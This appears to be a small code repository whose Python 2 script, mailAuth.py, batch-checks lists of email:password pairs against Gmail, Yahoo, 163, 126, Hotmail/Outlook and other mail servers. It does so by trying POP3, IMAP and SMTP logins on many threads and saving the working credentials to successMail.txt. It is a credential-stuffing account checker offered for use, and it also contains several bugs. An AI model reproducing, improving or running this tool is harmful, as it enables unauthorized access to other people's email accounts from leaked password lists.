├── README.md └── mailAuth.py /README.md: -------------------------------------------------------------------------------- 1 | # mail_auth 2 | 批量验证邮箱密码,支持gmail,163,126,yahoo,sina,outlook,hotmail,live等 3 | -------------------------------------------------------------------------------- /mailAuth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | import os 5 | import time 6 | import getpass,poplib,imaplib,smtplib 7 | import re 8 | import linecache 9 | import threading 10 | import thread 11 | import dns.resolver 12 | import string 13 | import base64 14 | 15 | class AuthEmail(threading.Thread): 16 | 17 | def __init__(self,fileInput): 18 | threading.Thread.__init__(self) 19 | self.filehandle = fileInput 20 | 21 | def highlight(self,s): 22 | return "%s[30;2m%s%s[1m"%(chr(27), s, chr(27)) 23 | 24 | def inRed(self,s): 25 | return self.highlight('') + "%s[31;2m%s%s[0m"%(chr(27), s, chr(27)) 26 | def inGreen(self,s): 27 | return self.highlight('') + "%s[32;2m%s%s[0m"%(chr(27), s, chr(27)) 28 | 29 | def run(self): 30 | global mutex 31 | global currentline 32 | 33 | while True: 34 | #print line; 35 | mutex.acquire() 36 | line = linecache.getline(self.filehandle,currentline) 37 | if len(line)<1: 38 | break 39 | currentline += 1 40 | mutex.release() 41 | 42 | content=line.split(',') 43 | if(len(content)==2) : 44 | email=content[0] 45 | password=content[1] 46 | if password[-1]=='\n': 47 | password = password[0:-1] 48 | print "[Line:%s]now test: " % (currentline-1) +email+"--"+password 49 | 50 | if(self.isValidEmail(email.strip(), password.strip())): 51 | SS = content[0] + " login success!!!" 52 | print self.inGreen(SS) 53 | mutex.acquire() 54 | self.writeResultFile('s',line) 55 | mutex.release() 56 | else: 57 | FF = content[0] + " login fail..." 58 | print self.inRed(FF) 59 | mutex.acquire() 60 | self.writeResultFile('f',line) 61 | mutex.release() 62 | else: 63 | print "Ignore an error line..." 64 | 65 | 66 | def getPopMail(self,mailDomain ): 67 | if( mailDomain == '163' ): 68 | mail = poplib.POP3('pop.163.com',timeout = 5 ); 69 | elif( mailDomain == 'gmail' ): 70 | mail = poplib.POP3_SSL('pop.gmail.com'); 71 | elif( mailDomain == '126' ): 72 | mail = poplib.POP3('pop.126.com',timeout = 5 ); 73 | elif ( mailDomain == 'hotmail' ): 74 | mail = poplib.POP3_SSL('pop3.live.com'); 75 | elif ( mailDomain == 'yahoo' ): 76 | mail = ""; 77 | elif ( mailDomain == 'sina' ): 78 | print "Sina Email Can`t be Vertified!"; 79 | return mail 80 | 81 | def isValidEmail(self,email,password): 82 | emailparts = email.split('@') 83 | 84 | regmail = re.compile('gmail') 85 | re163 = re.compile('163') 86 | reyahoo = re.compile('yahoo') 87 | re126 = re.compile('126') 88 | resina = re.compile('sina') 89 | rehotmail = re.compile('outlook|hotmail|live') 90 | subDomain = "" 91 | if( len( emailparts ) != 2 ): 92 | print "Email Fomat Error " 93 | return 0 94 | if( regmail.match( str(emailparts[1]))): 95 | subDomain = 'gmail'; 96 | elif( re163.match( str(emailparts[1]))): 97 | subDomain = '163'; 98 | elif( reyahoo.match( str(emailparts[1]))): 99 | subDomain = 'yahoo'; 100 | ret = ""; 101 | 102 | try: 103 | M = imaplib.IMAP4_SSL('imap.mail.yahoo.com') 104 | ret = M.login(email,password); 105 | 106 | except: 107 | #print 'YHOO AA'; 108 | pass 109 | 110 | #print str(ret); 111 | retR=re.compile('^\(\'OK'); 112 | if( retR.match(str(ret)) ): 113 | return True; 114 | else: 115 | return False; 116 | elif( re126.match( str(emailparts[1]))): 117 | subDomain = '126'; 118 | elif( resina.match( str(emailparts[1]))): 119 | subDomain = 'sina'; 120 | elif( rehotmail.match( str(emailparts[1]))): 121 | subDomain = 'hotmail'; 122 | else: 123 | smtpAuth1 = self.NormalSmtpLogin(emailparts,password) 124 | if smtpAuth1: 125 | return True 126 | else: 127 | smtpAuth2 = self.NormalSSLSmtpLogin(emailparts,password) 128 | if smtpAuth2: 129 | return True 130 | else: 131 | smtpAuth = self.AutoJudLogin(emailparts,password) 132 | if smtpAuth == 2 : 133 | print "%s smtp authentication failed.Now test POP authentication..." % email 134 | return self.AutoPopLogin(emailparts,password) 135 | elif smtpAuth == 1: 136 | return True 137 | else: 138 | return False 139 | ret = ""; 140 | 141 | try: 142 | mail = self.getPopMail(subDomain) 143 | mail.user(str(email)) 144 | mail.pass_(str(password)) 145 | ret = mail.stat() 146 | 147 | except: 148 | pass 149 | 150 | print str(ret) 151 | retR = re.compile('\(\d*,\s*\d*'); 152 | if( retR.match(str(ret)) ): 153 | return True 154 | else: 155 | return False 156 | 157 | def writeResultFile(self,result,line): 158 | if(result == 's'): 159 | fileHS = open("successMail.txt",'a+') 160 | if(result == 'f'): 161 | fileHS = open('failedMail.txt','a+') 162 | #print line+"is writed!\n"; 163 | #fileHS.seek(0,2); 164 | fileHS.write(line) 165 | #fileHS.close() 166 | 167 | def AutoPopLogin(self,emailparts,password): 168 | popAddr = 'pop.'+emailparts[1] 169 | Email = emailparts[0]+'@'+emailparts[1] 170 | try: 171 | mailAddr = poplib.POP3(popAddr,timeout=5) 172 | mailAddr.user(str(Email)) 173 | mailAddr.pass_(str(password)) 174 | popRet = mailAddr.stat() 175 | mailAddr.quit() 176 | print str(popRet) 177 | except: 178 | popRet = '' 179 | pass 180 | popretR = re.compile('\(\d*,\s*\d*') 181 | if( popretR.match(str(popRet)) ): 182 | return True 183 | else: 184 | try: 185 | mailAddr1 = poplib.POP3_SSL(popAddr,timeout=5) 186 | mailAddr1.user(str(Email)) 187 | mailAddr1.pass_(str(password)) 188 | popRetSSL = mailAddr1.stat() 189 | mailAddr1.quit() 190 | print str(popRetSSL) 191 | except: 192 | popRetSSL = '' 193 | pass 194 | if( popretR.match(str(popRetSSL)) ): 195 | return True 196 | else: 197 | print "%s authentication failed." % popAddr 198 | return self.AutoPop3Login(emailparts,password) 199 | 200 | 201 | 202 | def AutoPop3Login(self,emailparts,password): 203 | popAddr2 = 'pop3.'+emailparts[1] 204 | Email = emailparts[0]+'@'+emailparts[1] 205 | try: 206 | mailAddr2 = poplib.POP3(popAddr1,timeout=5) 207 | mailAddr2.user(str(Email)) 208 | mailAddr2.pass_(str(password)) 209 | pop3Ret = mailAddr2.stat() 210 | mailAddr2.quit() 211 | print str(pop3Ret) 212 | except: 213 | pop3Ret = '' 214 | pass 215 | 216 | pop3retR = re.compile('\(\d*,\s*\d*'); 217 | if( pop3retR.match(str(pop3Ret)) ): 218 | return True 219 | else: 220 | try: 221 | mailAddr3 = poplib.POP3_SSL(popAddr1,timeout=5) 222 | mailAddr3.user(str(Email)) 223 | mailAddr3.pass_(str(password)) 224 | pop3RetSSL = mailAddr3.stat() 225 | mailAddr3.quit() 226 | print str(pop3RetSSL) 227 | except: 228 | return False 229 | if( pop3retR.match(str(pop3RetSSL)) ): 230 | return True 231 | else: 232 | print "%s authentication failed." % popAddr2 233 | return False 234 | 235 | 236 | def AutoJudLogin(self,emailparts,password): 237 | global mutex 238 | domainSuffix = emailparts[1] 239 | try: 240 | Match = dns.resolver.query(domainSuffix,'MX') 241 | except: 242 | print self.inRed("An error occured,maybe timeout or an invalid format...") 243 | return 2 244 | for eachMX in Match : 245 | domainM = list(eachMX.exchange) 246 | domainMatch = string.join(domainM,'.')[:-1] 247 | break 248 | if domainMatch.endswith('googlemail.com') or domainMatch.endswith('google.com') : 249 | return self.googleMail(emailparts,password) 250 | elif 'MICROSOFT' in domainMatch.upper(): 251 | microAuth = self.microsoftMail(emailparts,password) 252 | if microAuth == 3: 253 | return self.normalMail(emailparts,password,domainMatch) 254 | else: 255 | return microAuth 256 | else: 257 | return self.normalMail(emailparts,password,domainMatch) 258 | 259 | 260 | def normalMail(self,emailparts,password,domainMatch): 261 | print "%s is in auth use MD5 encode at %s on port [25]" % (emailparts[0]+'@'+emailparts[1],domainMatch) 262 | try: 263 | smtp = smtplib.SMTP() 264 | smtp.connect(domainMatch,"25") 265 | ehlo = smtp.ehlo()[1].upper() 266 | except: 267 | return self.normalMailSSL(emailparts,password,domainMatch) 268 | 269 | if ('STARTTLS' in ehlo): 270 | setTLS = True 271 | else: 272 | setTLS = False 273 | 274 | if ('AUTH' in ehlo or 'LOGIN' in ehlo): 275 | if setTLS: 276 | smtp.starttls() 277 | print "starttls enabled in this server..." 278 | user = emailparts[0]+'@'+emailparts[1] 279 | 280 | try: 281 | auth = smtp.login(user,password).upper() 282 | smtp.quit() 283 | if 'OK' in auth[1] or 'SUCCESS' or auth[1] or 200<=auth[0]<=299 in auth: 284 | return 1 285 | else: 286 | return self.normalMailAuth(emailparts,password,domainMatch) 287 | 288 | except: 289 | return self.normalMailAuth(emailparts,password,domainMatch) 290 | 291 | else: 292 | return self.normalSSLMail(emailparts,password,domainMatch) 293 | 294 | def normalMailAuth(self,emailparts,password,domainMatch): 295 | user = emailparts[0]+'@'+emailparts[1] 296 | print "%s is in auth use Base64 encode on port [25]" % user 297 | user = base64.encodestring(user)[0:-2] 298 | password = base64.encodestring(password)[0:-2] 299 | try: 300 | smtp = smtplib.SMTP(domainMatch,timeout=5) 301 | smtpEhlo = smtp.ehlo() 302 | if 'STARTTLS' in smtpEhlo[1].upper(): 303 | setTls = True 304 | else: 305 | setTls = False 306 | 307 | if setTls: 308 | smtp.starttls() 309 | auth = smtp.login(user,password).upper() 310 | except: 311 | return 2 312 | smtp.quit() 313 | if 'OK' in auth[1] or 'SUCCESS' in auth[1] or 200<=auth[0]<=299: 314 | return 1 315 | else: 316 | return 2 317 | 318 | 319 | def normalSSLMail(self,emailparts,password,domainMatch): 320 | ssluser = emailparts[0]+'@'+emailparts[1] 321 | print "%s is in auth use MD5 encode at %s on port [465]" % (ssluser,domainMatch) 322 | try: 323 | sslsmtp = smtplib.SMTP_SSL(domainMatch,465,timeout=5) 324 | sslsmtp.set_debuglevel(1) 325 | sslcheck = s.ehlo() 326 | 327 | if 200<=sslcheck[0]<=299 and 'AUTH' in sslcheck[1].upper(): 328 | sslpass = password 329 | try: 330 | sslLoginCheck = sslsmtp.login(ssluser,sslpass) 331 | sslsmtp.quit() 332 | except: 333 | return self.normalSSLBASE64(ssluser,sslpass,domainMatch) 334 | 335 | if 200<=sslLoginCheck[0]<=299 or 'ACCEPT' in sslLoginCheck[1] or 'SUCCESS' in sslLoginCheck[1]: 336 | return 1 337 | else: 338 | return self.normalSSLBASE64(ssluser,sslpass,domainMatch) 339 | else : 340 | return 2 341 | 342 | except : 343 | return 2 344 | 345 | def normalMailSSL(self,emailparts,password,domainMatch): 346 | SSLuser = emailparts[0]+'@'+emailparts[1] 347 | print "%s is in auth use Base64 encode at %s on port [587]" % (SSLuser,domainMatch) 348 | try: 349 | smtpSSL = smtplib.SMTP_SSL(domainMatch,587,timeout=5) 350 | smtpSSL.set_debuglevel(1) 351 | SSLCHECK = smtpSSL.ehlo() 352 | except: 353 | return self.normalSSLMail(emailparts,password,domainMatch) 354 | 355 | if 200<=sslcheck[0]<=299 or 'AUTH' in sslcheck[1].upper(): 356 | SSLuser = base64.encodestring(SSLuser) 357 | SSLpass = base64.encodestring(password) 358 | print "SSLuser is %s,pass is%s" % SSLuser,SSLpass 359 | try: 360 | SSLLoginCheck = sslsmtp.login(ssluser,sslpass) 361 | except: 362 | return 2 363 | 364 | smtpSSL.quit() 365 | if 200<=SSLLoginCheck[0]<=299 or 'ACCEPT' in SSLLoginCheck[1] or 'SUCCESS' in SSLLoginCheck[1]: 366 | return 1 367 | else: 368 | return 2 369 | else: 370 | return 2 371 | 372 | 373 | 374 | def normalSSLBASE64(self,ssluser,sslpass,domainMatch): 375 | sslsmtp = smtplib.SMTP_SSL(domainMatch,465,timeout=5) 376 | print "%s is in auth use Base64 encode at %s on port [465]" % (ssluser,domainMatch) 377 | ssluser = base64.encodestring(ssluser) 378 | sslpass = base64.encodestring(sslpass) 379 | try: 380 | sslLoginCheck_1 = sslsmtp.login(ssluser,sslpass) 381 | except: 382 | return 2 383 | 384 | sslsmtp.quit() 385 | if 200<=sslLoginCheck_1[0]<=299 or 'ACCEPT' in sslLoginCheck_1[1] or 'SUCCESS' in sslLoginCheck_1[1]: 386 | return 1 387 | else: 388 | return 2 389 | 390 | 391 | def googleMail(self,emailparts,password): 392 | googleSmtpUser = emailparts[0]+'@'+emailparts[1] 393 | print "%s is google enterprise email,authing..." % googleSmtpUser 394 | try: 395 | googleSmtp = smtplib.SMTP('smtp.gmail.com','25',timeout=5) 396 | googleSmtp.starttls() 397 | googleSmtpCheck = list(googleSmtp.login(googleSmtpUser,password)) 398 | googleSmtp.quit() 399 | if 200<=googleSmtpCheck[0]<=299 or 'ACCEPT' in googleSmtpCheck[1].upper() or 'SUCCESS' in googleSmtpCheck[1].upper(): 400 | return 1 401 | else: 402 | return 0 403 | 404 | except: 405 | return 0 406 | 407 | def microsoftMail(self,emailparts,password): 408 | Email = emailparts[0]+'@'+emailparts[1] 409 | print "%s is microsoft enterprise email,authing..." % Email 410 | try: 411 | microMail = poplib.POP3_SSL('pop3.live.com',timeout=5) 412 | microMail.user(str(Email)) 413 | microMail.pass_(str(password)) 414 | MStat = microMail.stat() 415 | print str(MStat) 416 | retR = re.compile('\(\d*,\s*\d*'); 417 | if( retR.match(str(ret)) ): 418 | return 1 419 | else: 420 | return 0 421 | except: 422 | return 3 423 | 424 | def NormalSmtpLogin(self,emailparts,password): 425 | emailAddr = 'smtp.'+emailparts[1] 426 | user = emailparts[0]+'@'+emailparts[1] 427 | print "%s is in auth use MD5 encode at %s on port [25]" % (user,emailAddr) 428 | 429 | try: 430 | emailLogin = smtplib.SMTP(emailAddr) 431 | normalEhlo = emailLogin.login(user,password) 432 | normalEhlo = list(normalEhlo) 433 | emailLogin.quit() 434 | if 200<=normalEhlo[0]<=299 or 'SUCCESS' in normalEhlo[1].upper(): 435 | return True 436 | else: 437 | pass 438 | except: 439 | pass 440 | 441 | try: 442 | emailLogin1 = smtplib.SMTP(emailAddr) 443 | print "%s is in auth use Base64 encode at %s on port [25]" % (user,emailAddr) 444 | user1 = base64.encodestring(user) 445 | pass1 = base64.encoddestring(password) 446 | normalEhlo1 = list(emailLogin.login1(user1,pass1)) 447 | emailLogin1.quit() 448 | if 200<=normalEhlo1[0]<=299 or 'SUCCESS' in normalEhlo1[1].upper(): 449 | return True 450 | else: 451 | pass 452 | except: 453 | pass 454 | 455 | try: 456 | emailLogin = smtplib.SMTP_SSL(emailAddr,timeout=5) 457 | normalEhlo = list(emailLogin.login(user,password)) 458 | emailLogin.quit() 459 | if 200<=normalEhlo[0]<=299 or 'SUCCESS' in normalEhlo[1].upper(): 460 | return True 461 | else: 462 | return False 463 | except: 464 | return False 465 | 466 | def NormalSSLSmtpLogin(self,emailparts,password): 467 | emailAddr = 'smtp.'+emailparts[1] 468 | user = emailparts[0]+'@'+emailparts[1] 469 | print "%s is in auth use MD5 encode at %s on port [465]" % (user,emailAddr) 470 | try: 471 | emailLogin = smtplib.SMTP_SSL(emailAddr,465,timeout=5) 472 | normalEhlo = list(emailLogin.login(user,password)) 473 | emailLogin.quit() 474 | if 200<=normalEhlo[0]<=299 or 'SUCCESS' in normalEhlo[1].upper(): 475 | return True 476 | else: 477 | print "%s is in auth use Base64 encode at %s on port [465]" % (user,emailAddr) 478 | emailLogin1 = smtplib.SMTP_SSL(emailAddr,465,timeout=5) 479 | user1 = base64.encodestring(user1) 480 | pass1 = base64.encodestring(password) 481 | normalEhlo1 = list(emailLogin1.login(user1,pass1)) 482 | emailLogin1.quit() 483 | if 200<=normalEhlo[0]<=299 or 'SUCCESS' in normalEhlo[1].upper(): 484 | return True 485 | else: 486 | return False 487 | except: 488 | return False 489 | 490 | class ExceptionErroCommand(Exception) : 491 | def __init__(self,thread) : 492 | Exception.__init__(self) 493 | self.thread = thread 494 | 495 | 496 | class ExceptionFileNotExist(Exception) : 497 | def __init__(self,File) : 498 | Exception.__init__(self) 499 | self.File = File 500 | 501 | class ExceptionFileHasExist(Exception) : 502 | def __init__(self,File) : 503 | Exception.__init__(self) 504 | self.File = File 505 | 506 | 507 | 508 | if __name__ == '__main__' : 509 | 510 | if len(sys.argv)<3 or len(sys.argv)>4: 511 | print """ 512 | This is an Emails batch auth login program! 513 | useage: 514 | %s [start_line_number] 515 | 516 | 517 | Notice:Your email list must includes complete address which 518 | also include a character '@' and the password you want to 519 | test,and they must be separated with character ','! 520 | 521 | Example: 522 | xxxx@gmail.com,password 523 | 524 | After it completed,it will create 2 file in current path 525 | which name is 'successMail.txt' and 'failedMail.txt'. 526 | 527 | """ % sys.argv[0] 528 | sys.exit() 529 | global fileInput 530 | global filehandle 531 | global mutex 532 | global currentline 533 | if len(sys.argv)==4: 534 | if sys.argv[3].isdigit(): 535 | currentline = int(sys.argv[3]) 536 | print "Starting from the %sth line" % currentline 537 | else: 538 | print "Error line number..." 539 | time.sleep(1) 540 | sys.exit() 541 | elif len(sys.argv)==3: 542 | currentline = 1 543 | else: 544 | print "error arguments." 545 | time.sleep(1) 546 | sys.exit() 547 | 548 | 549 | try : 550 | fileInput = sys.argv[1] 551 | thread = sys.argv[2] 552 | 553 | if not thread.isdigit() : 554 | raise ExceptionErroCommand(thread) 555 | 556 | thread = int(thread) 557 | if (thread>=20 or thread<=0): 558 | print "Thread is less than 0 or more than 20,please retry..." 559 | time.sleep(1) 560 | sys.exit() 561 | if not os.path.exists(fileInput) : 562 | raise ExceptionFileNotExist(fileInput) 563 | 564 | threads = [] 565 | mutex = threading.Lock() 566 | 567 | for x in xrange(0,int(thread)): 568 | z = AuthEmail(fileInput) 569 | z.setDaemon(True) 570 | threads.append(z) 571 | for t in threads: 572 | t.start() 573 | 574 | while 1: 575 | alive = False 576 | for i in range(int(thread)): 577 | alive = alive or threads[i].isAlive() 578 | if not threads[i].isAlive(): 579 | time.sleep(7) 580 | print "\nAll auth has ended.Good luck!" 581 | sys.exit() 582 | 583 | 584 | except ExceptionErroCommand: 585 | print "Threads is not a number!\n" 586 | time.sleep(1) 587 | sys.exit() 588 | 589 | except ExceptionFileNotExist: 590 | print "Your Input file is not exist!\n" 591 | time.sleep(1) 592 | sys.exit() 593 | 594 | except KeyboardInterrupt: 595 | sys.exit() 596 | 597 | --------------------------------------------------------------------------------